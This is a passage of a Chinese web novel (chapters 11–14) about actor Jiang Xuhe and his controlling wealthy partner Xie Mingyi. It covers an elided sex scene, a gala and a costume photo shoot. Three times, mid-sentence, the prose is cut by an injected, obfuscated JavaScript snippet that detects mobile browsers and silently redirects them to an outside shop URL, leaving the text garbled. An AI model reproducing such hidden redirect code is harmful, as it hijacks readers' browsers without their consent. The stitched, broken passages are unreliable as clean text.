江叙和摇摇头,倒是没有什么负面的情绪:“只是我们看待这件事的角度不同而已。” “ 从投资的角度,你百分之一百的正确,但是总有些故事值得我们去冒险。”他微微仰起头,眸子几乎在发光,“说实话,能够成为这场伟大冒险的一员,这种感觉真的……很棒。” 极少见到他这般模样,谢明夷一时有些动容。 就在他想再说些什么的时候,小橘子翘着毛茸茸的尾巴,圆头圆脑地蹭了过来,不停地用香香的小猫脑袋拱江叙和的脚踝。 江叙和脸上的线条瞬间柔和了下来,弯腰将黏人精抱起来,离开餐桌后立马埋头吸了一通,发出每个猫奴都会无师自通的猫咪特供超绝夹子音: “香香小橘子~乖乖小橘子~爸爸要去沙漠里吃沙子了,要离开你好久哦~” “爸爸不在的日子,宝宝也要乖乖吃饭,但是不能吃太多哦~吃太多变成半挂爸爸就抱不动宝宝了,知道吗?” 小橘子已经习惯了被蹂躏,拿小爪子抵住人类的脸,发出小小的呼噜声。 看着他和猫互动,谢明夷走了过来,随手揉了揉猫脑袋:“放心,家里这么多人,还怕照顾不好一只猫吗?” 江叙和笑眯眯地挠着小猫的下巴:“那怎么能一样呢?我们小橘子这下要变成留守儿童了,多可怜。” 谢明夷被他这话逗乐了,顺着话头玩笑道:“你光知道心疼猫,怎么不心疼一下留守人类。” 江叙和眼睛微微睁大,惊讶道:“你还缺人陪?” 男人脸上的笑容瞬间僵住。 江叙和恍若无觉,低头轻轻揉捏无辜小猫的肉垫,挨了一记猫猫铁拳才失笑放开手,任由小橘子咪呜咪呜跑远。 他这才看向眼前不管做贼心虚也好、心怀愧疚也罢,总之神色有些僵硬的人,学着他之前的语气调侃:“每天几十号人围着你转呢,干嘛跟我们小橘子抢?” 他的笑容无懈可击,谢明夷却心中一乱,不自觉开始解释:“前几天我去燕平其实是……” 他回来后对燕平的事闭口不谈,江叙和也一直不问,但横亘两人之中的尖刺埋下了就是埋下了,不会因为成年人的装腔作势就消弭不见。 谢明夷不喜欢这样子。 没错,他是不喜欢江叙和跟他闹脾气。 但他更不喜欢江叙和现在这副不吵不闹的模样,就好像自己缺席他的生日旅行,是什么不值一提的小事。 谢明夷无法容忍这样的忽视。 定了定神,他欲将准备好的说辞和盘托出,江叙和却出声打断,表情要多真挚有多真挚:“知道你忙,放心吧,我是真的没有生气。” “工作的事情就不用告诉我啦。”他歪歪脑袋,语气又轻又快,“你那些高大上的投资并购什么的,我是真的听不懂,放过我吧。” 要说的话被堵在喉咙里,谢明夷脸色沉了下去,像是蒙上了一层阴翳。 江叙和却不再看他,转身去追逃跑的小橘子去了。 * 定定地看着他轻快地走远,谢明夷动身回书房,路上遇见佣人跟他打招呼,他如往常般颔首示意,永远是骨子里的得体。 只有关上门后,他才肯流露出一点颓丧,这颓丧的源头,则是有些事情似乎要脱离掌控的不确定感。 倒了杯威士忌,辛辣的酒精味让他振作了一点精神,谢明夷点开电脑桌面的一份文件,标题赫然写着《“J传媒”娱乐公司筹建方案》。 心不在焉地看了几行字,手机却在这时候响了起来,看着屏幕上跳动的名字,他皱着眉接起:“什么事?” 电话那头沉默了一瞬,传来顾晨光小心翼翼地声音:“谢先生,医生说我明天就可以出院了。” “出院就出院,这种事情也要特意通知我?”男人的语气里带着被打扰的不耐。 顾晨光噎了一下,声音更低了,委委屈屈的:“是您之前吩咐我要告诉您的。” 谢明夷想起来了,好像确实有这么一回事。 他揉了揉眉心,语气和缓了些:“是我忘了。” 他滑动鼠标,关掉那份看得人头晕的文件,身体向后靠进椅背:“Linda会安排人接你出院,你原来那个房子不要住了,我在寰海给你安排了新的住处。” 语气里完全没有商量的余地。 不等那头的人回答,他挂断了电话。 一抬头,却见江叙和不知何时过来了书房,正安静地站在门口,含笑看着他。 谢明夷心头一紧,那是下意识地心虚。 然而紧跟着,他又升起了一丝不合时宜的、隐秘的期待— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643301|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —他听到了吗?听到了多少?他会生气吗? 也许会,也许不会。 谢明夷不清楚自己究竟更期待哪一种。 但是江叙和什么也没问吗,他只是笑着走进来,拿走沙发上的文件夹;“昨天把剧本落这儿了。” 他拿起剧本,向他挥了挥示意,然后离开了书房,甚至还贴心地带上了门。 谢明夷沉默地看着这一切,一语不发。 * 入夜。 男人的动作比以往任何一切时候都要急切和用力,更让人招架不住。 炙热的气息沿着他清晰凸起的脊椎骨节,一路向下,带着朝圣者的痴迷与狂/热。 “真的瘦了。”沙哑的声音低低响起,“本来就没几两肉,现在更是……” 谢明夷一时找不到合适的形容词,只觉得掌心下的躯体实在硌人,硌得连心脏都生疼,他索性不再说话,只是更加执拗地在眼前这具身体上印下属于信徒的痕迹。 …… 江叙和趴在柔软的枕被间,背上那片濡湿的触感挥之不去,就像某种黏腻的标记,有种难以言喻的烦躁,忍不住反手将人推开:“你有完没完?爱做不做,别跟个狗似的到处舔!” 他因为怒气而泛红的眼尾,在昏暗的床头灯下,另有一种惊心动魄的美感。 看着他这副模样,谢明夷非但不生气,心底反而奇异地柔软了下来,甚至还有一种一切终于回归正轨的欣慰。 就该这样。 白天那个温柔体贴、仿佛能包容一切的江叙和终于鲜活了过来,现在这个会发脾气、会骂人的江叙和,才让他觉得是真实的、触手可及的。 谢明夷甚至觉得感动,那层笼罩在爱人周身的坚冰,终于被他捂化了、捂破了。 他一颗飘摇不定的心,也终于找到了落点,沉沉地落回了实处…… 江叙和见他半晌没有动静,以为这场折磨终于结束,撑着发软的身体想要下床清理,冷不防脚踝被人一把攥住,一股巨大的力量将他猛地拖了回去。 “!” 他惊愕地回头,骂声还未出口,就被熟悉的气息堵了回去。 所有的不满和斥责都被碾碎在唇齿间,刚刚稍微平息的火焰再次被点燃,并且燃烧地更加疯狂和彻底。 青年的声音沙哑:“你特么……是不是疯了……” 对方却低笑一声,低头吻去他眼角的泪、吻开他紧皱的眉。 疾风骤雨变成了绵密悠长的潮汐,青年紧绷的身体渐渐放松下来。 恍惚中,他感觉自己被分割成了两部分,躯壳尚沉沦在俗世的欢娱里,魂灵却高悬空中,居高临下地注视着眼前的一切。 窗外的月色悄然潜入,银辉为房中人影渡上一层朦胧而圣洁的光边。 光影重叠处,他们仿佛两只在月下湖面交颈依偎、无声歌唱的天鹅。 …… 一切平息后,谢明夷将昏昏欲睡的爱人更紧地拥进怀中,唇贴着他的耳廓,用带着诱哄的语调低声呢喃:“宝贝,别再闹别扭了,搬回来睡,好不好?” 怀里的人呼吸绵长均匀,没有给出任何回应。 谢明夷等了一会儿,无声地笑了笑,在他光洁的额头上印下一个轻柔的吻,也闭上了眼睛。 黑暗中,江叙和的睫毛几不可察地颤动了一下。 12. 听话 清晨。 远处山峦和林木的轮廓逐渐在天际清晰起来,一匹明亮而不刺眼的淡金色布幔便漫过露台的边缘,流过巨大的落地窗,悄然洒入了卧室。 谢明夷在晨光中醒来,而身侧的爱人仍在熟睡,他不禁微笑,低头在他鼻尖留下一个轻柔的吻,目光随即被他腕间的银色吸引。 见江叙和连睡觉都戴着表,担心他硌到手,谢明夷小心翼翼地探向表扣,打算给他摘下来放到一边。 可即便在睡梦中,江叙和对手腕的触碰依旧极为敏感,烦躁地一翻身,躲过了他的动作。 担心将人吵醒,谢明夷只好作罢。 高大的男人起身走向露台,掩映在葳蕤花木间的藤艺小桌上已经备好了他爱喝的咖啡,他习惯性地用咖啡提神,然后拨通了助理的电话。 提示音响过一声,电话被准接起,对面的女声清醒而专业:“Boss,早上好,请问有什么吩咐。” “他要去陇州拍戏。”不用说出名字,对方自能心领神会他说的是谁,“西北环境艰苦,那边的食宿行程你都要打点好。” Lind利落地应下,她已经习惯了为老板处理这种理应由生活助理负责的私活儿。 谢明夷沉吟了一下,又道:“他那个电影,融资模式很不健康,后期可能出现问题,你重点关注一下。” 这就是如果项目真的出现问题,她需要及时汇报托底的意思。 Linda显然事先做过相关的功课,此时脱口而出:“明白。不过根据目前公开的立项资料和资方背景,应该不会有太大的问题。” “嗯。”谢明夷不置可否。 “我会持续follow的,Boss。”Linda知错就改,并趁机提出新的请示,“关于之前提交‘J娱乐’筹建方案,您还有什么指示吗?办公室那边已经过了初评,您要是OK的话,我马上推动方案落地。” 谢明夷当然没有意见,Linda办事他是放心的,方案本身做得非常漂亮,他的烦躁另有原因。 没有听到他的回复,Linda很有耐心地等候,并不出声催促。 终于,谢明夷用指节在藤桌上敲了敲,做出决定:“就按现行方案去做,资金用我个人名下的财产,免得所有权交割的时候不清爽。” 用个人财富做这种前期投入巨大、回本却缓慢的投资,显然不是一个明智的主意。 从专业的角度,Linda可以给出一堆意见和建议,但从工资的角度,她稍息立正站好:“好的,Boss,没问题,Boss,我这就去安排。” …… 挂断通话前,谢明夷又想起一件事:“对了,这两天给顾晨光安排个助理,找个懂事的,好好教教他规矩。” 昨天的那通电话给他提了个醒,他发现顾晨光到底年轻了些,有些行为实在不太能上得了台面。既然以后要跟着他,那为人处世还是大方些好。 涉及老板的私生活,Linda态度谨慎得多:“那助理的人选,您有没有具体的指示?” "你看着办。"电话那头的声音冷淡,听不出情绪。 * “好的,我立刻去办。”Linda保持着完美的职业素养,直到听筒里传来忙音,才轻轻吁了口气。 她转头看向一旁的女伴:“思思,对不起啊,我现在要出去一趟。” 那个小偶像出院,她本来是想随便安排几个小弟去接人就完事,现在想想,还是亲自去一趟比较保险。 女伴裹着总统套里舒适的浴袍,脸上涂了厚厚的一层软膜,口齿不清地抱怨:“有没有搞错,你还在休假呢!你老板是完全不管员工死活的吗?” Linda笑了笑,利落地扎好长发,用一根发簪固定:“打工嘛,能有什么办法?百万年薪的代价就是007随时随地stand by咯。” 女伴不顾龟裂的面膜,艰难地翻了个白眼:“真是活该你挣大钱。对了,你要干嘛去?” Linda笑笑,没有回答这个问题,收拾好了手包:“预定了酒店双人SPA,我是无福消受了,便宜你啦。” 临出门的时候不忘回头给女伴一个飞吻:“好好享受哦~” 从门童手里接过车钥匙,Linda礼貌道谢,流畅的奔驰S600车身化成一道漂亮的银色闪电。 Linda已经进入了工作状态,一边开车,一边让智能助手拨了一通电话出去。 电话接通的瞬间,她的语气热情而周到:“王总,早上好,没打扰您休息吧?” “诶,是我,Linda。” “听说江老师不久要去西北拍戏啦?提前祝贺他票房长虹、拿奖到手软啊……哎呀真不是客气,都是真心话……” “是这样的,我想提前了解一下江老师下榻的酒店是哪家?我们要提前安排staff过去打点好起居务必让您和姜老师没有后顾之忧,哎呀,不麻烦不麻烦都是应该的。” “好嘞,那就先这样,您先忙。我就不打扰您了。” 挂了电话,她脸上的笑容瞬间收敛。第二通通电话拨给了她的助理,没错,助理也有助理,这怎么不是一种助理的套娃:“那个娱乐公司筹建的case怎么样了?这个事情这周结束前必须给我新的进度。” “法务评估?法务评估你就让她们评啊!” “周末?周末怎么了?周末就不能干活吗?” “我有没有和你说过这个项目的优先级现在最高,所有人必须无条件配合!” 导航提示前方道路拥堵,Linda深吸了一口气,拨出今天第三个号码。 这一次她的声音恢复了公事公办的利落:“刘经理是吗?你好,我是谢先生的助理Linda,他让我来接顾老师出院。” “嗯,那麻烦您先给顾老师收拾好个人物品,我和保姆车半个小时后到楼下。好,咱们一会儿见。” 一连串的电话打完,Linda终于能短暂的喘口气。 车里的电台这时候开始播放一首老掉牙的情歌,一个女声凄婉地唱着“可惜我瞎了眼睛,真相哪需说明,而我却哼不出半声……” 听得人牙根一酸,她赶紧伸手切掉。 Linda忽然想起女伴之前打趣她活像个内务府总管,既要打理老板前朝的公务,又要操持他后宫的琐事。 如今想想,倒也不无道理。 不过说真的,一会儿要柔情似水、事无巨细的安排旧爱,一会儿又要雷厉风行、滴水不漏的打点新欢。 跟她老板的精分程度比起来,她这点儿小分裂算什么? 有钱人的世界啊…… Linda往左打方向盘,丝滑地变道——她接触了这么久,还是看不明白。 * 渡山庄园。 江叙和正在挑选领带,而真正需要领带的人却甩手掌柜般站在一边,似乎很享受这种被人照顾的时刻。 总算选好了一条深灰色的,招手让人过来:“今晚是什么局?” 江叙和随口问,手指灵巧地翻动着,他今天过了中午才起床,精神头倒是很好。 “宏辉资本的庆功晚宴。”谢明夷微微弯着腰,配合地抬起下巴,方便他动作,顶灯在两人身上投下柔和的光晕。 听到这个答案,江叙和轻笑,向上推拢领带:“真稀奇,你居然会参加这种无聊派对。” 谢明夷解释:“最近跟他们有些接触,还不熟悉,但是第一次正式邀请,这点面子总要给的。” “还有谢先生需要给面子的人家?”江叙和戏谑。 话音未落,谢明夷已经伸手将人揽过,感觉到掌心触及的腰身比更加清瘦,他有些不满地蹙眉,但没说什么,只是将人带得更近了些,额头亲昵地抵住他的: “我在你心里就这么了不起,都不需要social的吗?” 江叙和本想顺着话头调侃几句,话到嘴边又咽了下去,只是抿着嘴笑了下:“好吧,我可能说错了。” 谢明夷在他额头上亲了一下:“想多了,是我觉得这家比较投缘,才想带你也去见见。” “好哦。”江叙和答应地轻快,似乎一无所觉,从他怀里退开,转身去取两人的外套。 * 加长幻影优雅滑出渡山庄园的大门,驶向另一个用金钱堆砌的人间秘境。 夕阳余晖透过防弹车窗,在江叙和侧脸上流转着明明灭灭的光斑。 他调平座椅闭眼假寐,身侧传来如有实质的视线——谢明夷似乎想对他说些什么,最后却只替他理了理膝头的薄毯。 直到车辆驶入依山而建的建筑群,谢明夷才轻轻捏了捏他的鼻尖:“到了。” 江叙和原本是装睡,不料竟真在车上睡了过去,他揉着惺忪睡眼下车,待看清眼前景象不由怔住,这哪里是寻常豪宅,分明是一座与渡山不相上下的现代庄园,典雅的巨大白色别墅前方,造型优美的喷泉于暮色中折射出粼粼波光,将整个空间点缀得熠熠生辉。 女主人亲自迎了出来,竟然是息影多年、去向成谜的影后周慕云,她一袭月白色改良旗袍,身边站着的是她那互联网新贵的丈夫,亦是此间的主人。 程旭东远远就伸出手:“谢先生,没想到您会赏光,真是不胜荣幸。” 谢明夷露出个礼节性的笑:“程总、程太太。” 他将江叙和轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643302|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前带:“这是江叙和。” 程旭东立即调转方向,与江叙和握手,态度热络得不像初次见面:“江影帝,久仰久仰!宏辉旗下的视频平台一直想跟您合作,只是无缘……” 周慕云笑着打断丈夫:“瞧瞧我们家老程,一开口就是生意。” 她上前,亲切地挽住江叙和的胳膊:“让我跟叙和好好说会儿话吧,你们生意人讨论的这些东西,我可不爱听。” 说话间,她动作自然地将江叙和拉远,给丈夫和贵客留出单独相处的空间,却又显得毫不失礼。 她脚步轻快,带人往宴会厅旁边的沙发区走去,一路上不少人过来打招呼,得到女主人礼貌又疏离地答复。 周慕云取了两杯香槟,递了一杯给他,轻声抱怨同时也是向他解释刚才的状况:“我家老程最近又在折腾什么大文娱,忙死了,我说赚那么多钱做什么,还不如早点回家陪陪我和孩子。” 又笑着看向他,少女似的娇俏歪头:“你说是吧,小江。” 江叙和但笑不语。 周慕云的话不假,他已经看到了数位影视圈大佬的身影,这些圈内呼风唤雨的大人物,来到真正资本巨擘的宴会上也都只能收敛锋芒,扮演边角料的角色。 周慕云侧身,在他耳边悄悄指点:“瞧见那位了吗?” 她素手一点,指向人群中某个笑得谄媚的人影:“流光影视转型触礁,烧了投资人十几个亿,但是张鹏手上还有几个早年间囤的大IP ,他不肯贱卖,现在是不死心想最后一搏,钻进来拉投资呢。” 江叙和惊讶地看着她,有点搞不明白这位并不熟悉的前辈为什么如此热衷与他搭话。 对于他冷淡的反应,周慕云了然地耸耸肩,优雅地啜饮了一口香槟,细长玻璃杯里的金箔起起伏伏,氤氲着大厅水晶吊灯的灯光,分外的纸醉金迷。 “其实我早就想和你玩儿了。”周慕云朝他举杯,“可惜谢先生把你实在藏得紧,据说只有最私密的亲友局才让你出来。” 江叙和举杯回应,却没有饮酒。 周慕云不介意他的失礼,端着酒杯望向大厅中央,语气带着落寞:“我们这个圈子里,娱乐圈的人可不多,我想有个说知心话的人都难。当然,想攀上来的不少,但总归咱们才是一国的。” 江叙和笑:“程太太言重了。” “叫我周姐。”周慕云摆摆手,“我不是跟你假客套。” 江叙和从善如流:“周姐。” 周姐满意地笑了,亲昵地靠过来,已然是推心置腹的姿态:“那个小朋友,我也在活动上见过,谢先生对他也就那么回事,哪像对你……” 话音未落,谢明夷端着碟马卡龙走过来,自然地隔开两人:“在聊什么,这么开心?” 江叙和抬眼,对上他带着笑意的眸子:“周姐在聊她家的小朋友有多调皮呢。” 谢明夷挑眉看他,似是不相信这说辞。 周慕云优雅地抚抚鬓发,笑容得体:“当了妈妈就是这样,到哪儿都忍不住聊孩子,谢先生见笑了。” …… 回家的路上,谢明夷旧事重提:“周慕云跟你说了些什么?” 不明白他为什么总揪着这件事,江叙和蹙眉:“不都说了,周姐一直在说她家孩子的事。” “哦?”谢明夷笑着看他,就像看着一个嘴硬的孩子,“那我问你,她的孩子叫什么名字?” “呃……”江大影帝罕见地卡了壳。 谢明夷没有再继续追问,只是语气里带了一点警告:“周慕云这个人不简单,不管她跟你说些什么,离她远点总没错。” 又不是我主动要认识她的,要不是你巴巴地带我出门,我可能这辈子都见不到周慕云,更不可能跟她说得上话,现在因为你的原因见到了,话都没说两句,你又要拿这件事教训我?! 脑中翻涌了无数句要反驳的话,但他最终说出口的,依旧只有“好的”两个字。 看出他的不高兴,谢明夷凑近了一点,将人揽进怀里:“宝贝,不是怪你的意思。” “今天带你出来,也是想介绍你和程旭东认识,他是互联网行业出身,现在又转型做大文娱,很有能量,以后能帮得上你。” “至于周慕云。”他嫌恶地皱眉,似乎想起了什么不愉快的记忆,“你只要记住,这人不能深交。” 他安抚地亲吻怀中人的眉心:“我总归是为了你好。” “宝贝,听话。” 熟悉的无力感潮水般漫过他的全身,江叙和感到前所未有的疲倦,他闭上双眼,不愿泄露眼底的讥诮。 是啊。 你从来都是, 为了我好。 13. 胃口 江叙和昨晚有点失眠,起来时脑子还没开机成功,在早餐厅里看到翻阅报纸的谢明夷时还愣了一下:“你怎么还在这里?” 谢明夷闻声抬头,顺手摘下只有阅读时才会佩戴的金丝眼镜,按了按鼻梁,无奈道:“宝贝,这也是我家诶。” 江叙和没接话,径直走向餐桌,佣人按照他的食谱送上早餐,并附带一杯色泽诡异的羽衣甘蓝汁,基调是羽衣甘蓝惯有的惨绿,但因为洒了巴西莓粉,上层又变成了一种奇异的粉紫色。 他皱着眉,用勺子将它们搅和成一杯视觉效果更加惨烈的玩意儿,端起来面无表情地喝了一大口,才回答对方:“当然是你家,我只是觉得平常这个点你早就出门了。” 谢明夷看着他一系列跟食物有仇的操作,唇边笑意加深了几许:“怎么,我就不能在家多陪陪你?” 江叙和没说什么,兀自看着餐盘里的内容叹气,最后像是下定了某种莫大的决心,挤了些柠檬汁到鳕鱼排上面,拧着眉头吃了下去,还不忘用羽衣甘蓝汁送服。 接着,他又恶狠狠地戳破了一颗颤巍巍的温泉蛋,用白芦笋的尖尖在上面狂戳,也不知道是想蘸蛋液,还是单纯想虐待这颗可怜的鸡蛋。 谢明夷实在看不下去了,放下报纸,好笑道:“你是跟这颗鸡蛋有仇吗?” 江叙和抬起眼帘,带着点被打扰的不解。 “我是说,如果实在吃不习惯,”谢明夷收敛了笑意,语气认真了些,“就不要这么努力地减肥,健康比什么都重要。” “角色需要。”江叙和的拒绝言简意赅。 随后他就像是为了证明自己的话一般,咬牙把面前的东西都吃了,站起身来:“今天我要拍定妆照,先走了。” 等他的背影消失在了门口,谢明夷才吩咐一旁的管家:“重新设计食谱,他的口味更偏中餐,就算是减肥餐也不要总是弄些西式的做法。” 食物更合胃口一点,脾气估计也能好一点? 谢明夷好笑地想到。 * 新电影的造型设计在被裴屿毙了一二三次五六七八九次后,终于敲定了下来。 江叙和需要赶在离开寰海前拍完角色定妆照。 他准时到达摄影棚,里面已经是一片热火朝天的景象。尽管空调呼呼地吹,但架不住几盏大灯烤着,每个人脑门儿上都浮着一层薄汗。 这次的造型师依旧是他合作过多次的Mai,一见到他就迎了上来,拉着他去换衣服。 给他戴上那个极具科技感的金属手环时,她悄悄向江叙和眨了眨眼睛:“这可是我据理力争才让导演拍板加上去的哦。” 目光在设计精妙的手环上停留了片刻,江叙和笑着道谢:“设计得非常棒,谢谢你,小Mai。” Mai脸红了一下,平日里风风火火惯了的姑娘,居然难得小小声的说了句:“没什么啦……” 正巧这时候摄影师叼着能量棒晃过来,听见 Mai蚊子哼似的声音,大惊小怪:“哟!Mai姐,你是吃了哑药吗?怎么突然这么说话?” 回应他的是Mai恼羞成怒的一顿暴揍,摄影棚里顿时充满了快活的空气。 在一片笑闹声中,江叙和已经换好衣服走了出来, Mai连忙过去为他整理服装,随后又拿出一副眼镜递给他。 江叙和愣了一下:“之前的概念图里没有这个吧?” Mai摊开手:“是没这个,但是吧,导演组说你演的角色是个科学家,认为还是加上眼镜儿比较对味儿。” 说完她自己也吐槽:“我也抗争过,谁说科研工作者都必须戴眼镜儿了,这不纯纯的刻板印象吗?” 江叙和被她愤愤不平的样子逗笑,接话道:“我还以为你会吐槽,世界观都机械飞升了,怎么还会有近视眼?” Mai一拍大腿,扼腕叹息:“对哦,当时我就应该这么说的。” 说笑了一阵,摄影师助理过来请江叙和:“江老师,光线已经打好了,麻烦您亲自过来试试光。” 江叙和点头说好,随即戴上那副眼镜,走到光源的正中。 Mai抓住一旁的小助理。被他戴上眼镜后的禁欲高智感辣得嘶哈市嘶哈:“呜呜呜,我就知道这样会很帅!我担真是个脸蛋天才!” 没错,其实御姐小Mai私下也是根河粉来着。 接下来的拍摄异常顺利,江叙和总是能够精准地理解摄影师每一个简短指令背后的含义,并迅速调整状态,给出近乎完美的应对。 摄影师柯文并不是第一次跟他合作,但仍然忍不住为这种精准和高效而折服,除了中途补妆和换造型,“咔嚓咔嚓”的快门声简直就没停下来过。 柯文的小助理要负责在拍摄中帮助模特找状态、摆姿势,但是这一回基本上没有用得到她的地方,甚至还能掏出手机跟朋友悄悄吐槽:“姐妹,你晓得我现在在拍谁伐?” “嘎嘎,是江叙和哦!就问你羡不羡慕!” “拍的是啥还不能说,等官宣吧,反正绝对惊艳。” “妈呀我算是知道人家为啥是影帝了,镜头表现力简直绝了!而且人态度还好得不行,一点儿架子都没有。” 想起前几天拍同一部电影的男三时不愉快的经历,她按键盘的手都用力了些: “想到之前拍张梓宸那个灾难现场我就想死,一样是定妆照,他还要我们老板手把手地教他摆姿势,自己业务能力不行还好意思甩脸子,搞得多大咖似的!” 朋友回复慢了一点,还停留在上一条信息:“是哦,都说江叙和脾气好来着。不过我听说他背后有人,是大佬来着,还能这么平易近人也是厉害。” 助理手指翻飞:“哎呀,你不要看了几个海角论坛的帖子就凭空污人清白好不好!那地方捕风捉影的,郭本山都能被编排几个金主。你看人家俞总,在海角都成八肾小马达了。” “再说了,要说有金主,张梓宸那个死德性才像呢!” 朋友被说服了:“说的也是哈。” “别扯那些了,快来欣赏一下我刚刚偷拍的(非高清)江老师私服照![图片]” “啊啊啊啊啊——!” 如愿以偿地听取到猿声一片,助理功德圆满地收起了手机。 * 工作结束,经纪人王哥溜溜达达地过来接江叙和下班,一眼就注意到了他还没有卸下来的妆造,夸张地“哇”了一声: “啊呀~我们小江就是俊哈,瞧瞧这小造型,多别致,还戴个小眼镜儿,简直就是斯文败类本类嘛。” 江叙和嘴角微微抽搐,出来送人的Mai嫌弃地撇嘴:“王哥,你没文化就不要硬夸好不好,斯文败类那是夸人的话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643303|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王博文讪讪:“哈哈,开个玩笑嘛,其实我是211毕业的你信不信。” Mai小白眼一翻,跟江叙和告别后就转身拜拜了,只给211小王子留下一个绝情的背影。 王哥尴尬地摸摸鼻子,又凑到江叙和身边,张嘴就是道歉:“不好意思啊小江,我来晚了。” 江叙和笑了笑表示理解:“你现在带新人,当然是要把心思多花在他们身上。” “嗨呀,说起来,这个新人其实也蛮省心的。就是吧……”王哥表情有点一言难尽,“就是这个娃脑子有点楞,好家伙,轴得很!今天差点得罪人家电视台的总监,害我赔了半天笑脸。” 见江叙和露出些许不信的表情,王哥深深地叹了口气:“等见到人你就知道了,你最好做好心理准备……” 说完,他猛地一拉车门,从里面蹿出来一个人高马大的黄毛:“小王,我可以出来了吗?” “不准叫我小王!”小王大怒。 黄毛就是王博文正在带的新人,身姿提拔、五官优越,单从外形看,的确是老天爷赏饭吃的类型。 他一见到江叙和,立马绽开了一个极其灿烂的笑脸,上前两步,张开双臂就想给人一个拥抱。 但是被王哥毫不留情地拦截:“跟你说了多少遍,不要把你在国外的那套到处乱用!” 新人无辜地站在原地,眨巴着眼,直勾勾地盯着江叙和。 王哥深深地、不知道是第多少次地叹了口气,指着人介绍:“这是Ethan,中文名萧然,国外长大的,一身外国人的臭毛病。” 萧然有些可惜地看了眼被王哥拦在身后的江叙和,伸出手:“叙和你好,我是你的影迷,本来我不想签约的,但是王博文说只要签了合同就能和你在一起,所以我就来了。” “是在一起工作!不要说得那么暧昧啊魂淡!”王哥在崩溃的边缘大吼,“还有,要叫江老师!” 至于萧然喊他什么,王博文已经完全看开了。 还是第一次看到这么失态的经纪人,江叙和也是大开眼界,这样大大咧咧的新人,进娱乐圈估计要创死不少人吧。 几个人好不容易上了车,萧然想挨着江叙和坐,被赶到副驾后也不死心,一直用一个别扭的姿势往后看。 王哥嫌弃地拿手去捂他的眼睛,表情可谓是饱经风霜:“我也是活该,当初觉得这是颗好苗子,好说歹说给签约了 ,谁知道是根楞木头。” "不过……"王哥话锋一转,恨恨的,算是认命了,“这家伙运气太好了,昨天带他去试镜,一眼就被陈松林看上了,还给了个男二。” 陈松林导演是出了名的爱用新人,江叙和看过他正在攒的本子,里面确实有个留洋回来的小提琴家角色:“Ethan会拉小提琴吗?” 王哥点头:“没错,别看他这个样,其实是霍兰德音乐学院毕业的,专业就是拉小提琴。一首那个什么茨、茨菇进行曲,直接把陈导魂儿都给拉没了。” 萧然终于挣脱了王哥的束缚,赶紧纠正:“是茨冈狂想曲!” 又殷切地看向江叙和,含情脉脉:“叙和,你要是喜欢,我随时可以拉给你听哦。” 王哥崩溃了:“都说了喊他江老师!” …… 真是好一番鸡飞狗跳,对此,江叙和只能祝王哥健康。 14. 好歹 疗养院传来消息,说江棠的身体状况和情绪都稳定了下来,江叙和便想着在进组之前,再去探望一次母亲。 谢明夷得知消息,说什么也要跟着一起:“这是应当的礼数。” 礼数不礼数的,江叙和不置可否,但他对于谢明夷和自己一起看望母亲这件事并不抗拒。 跟疗养院定好日子,约了个江棠精神头比较好的时间段,两人一起出了门。 路上要花不少时间,江叙和干脆掏出手机回复经纪人的消息,车内很安静,他播放语音的声音便显得格外清晰。 “星耀盛典送了邀请函,哎我真是头疼,不知道该不该让萧然去露个脸。”语音里传来王哥活人微死的声音。 江叙和失笑,打字回复他:“去吧去吧,丑媳妇总要见公婆的。” 王哥半天没回复,估计在做最后的挣扎,想到萧然那个样子,江叙和也是心有戚戚焉。 这时候,谢明夷却突然开口:“星耀盛典,是那个星耀tv搞的颁奖礼吗?” “你知道?”江叙和难掩惊讶。 因为谢明夷对娱乐圈的东西一向不太关心,所以江叙和也很少与他提及自己的工作。 谢明夷不答反问:“既然是颁奖礼,那你会拿什么奖呢?” 唇边的笑意淡了一点,江叙和沉默了两秒才道:“可能这么说有点狂妄,但我是不会去参加一个视频网站举办的所谓典礼的。就算要去,我也只会是颁奖嘉宾,而不是那些廉价奖项的竞争者。” 谢明夷对他难得强势的态度感到惊讶,扫了他一眼,最终什么也没说。 两人一路无话,直达郊外的疗养院。 顶楼病房里,江棠今天的精神状态看起来不错,正靠在窗边的软椅上欣赏一捧造型别致的鲜切花。 看到他们两人一同过来,她眼底不可避免地掠过一丝惊讶,随即缓缓绽出一个笑来:“明夷也来了。” 谢明夷上前一步,笑容礼貌而得体:“前些天刚从国外回来,一直不得空来看您。” “你们工作都忙,不用总惦记我。”江棠的神情很客气,带着久病之人特有的、不愿意给人添麻烦的疏离,“多亏有你照应,我在这里一切都挺好。” 谢明夷微笑:“都是我应该做的。” 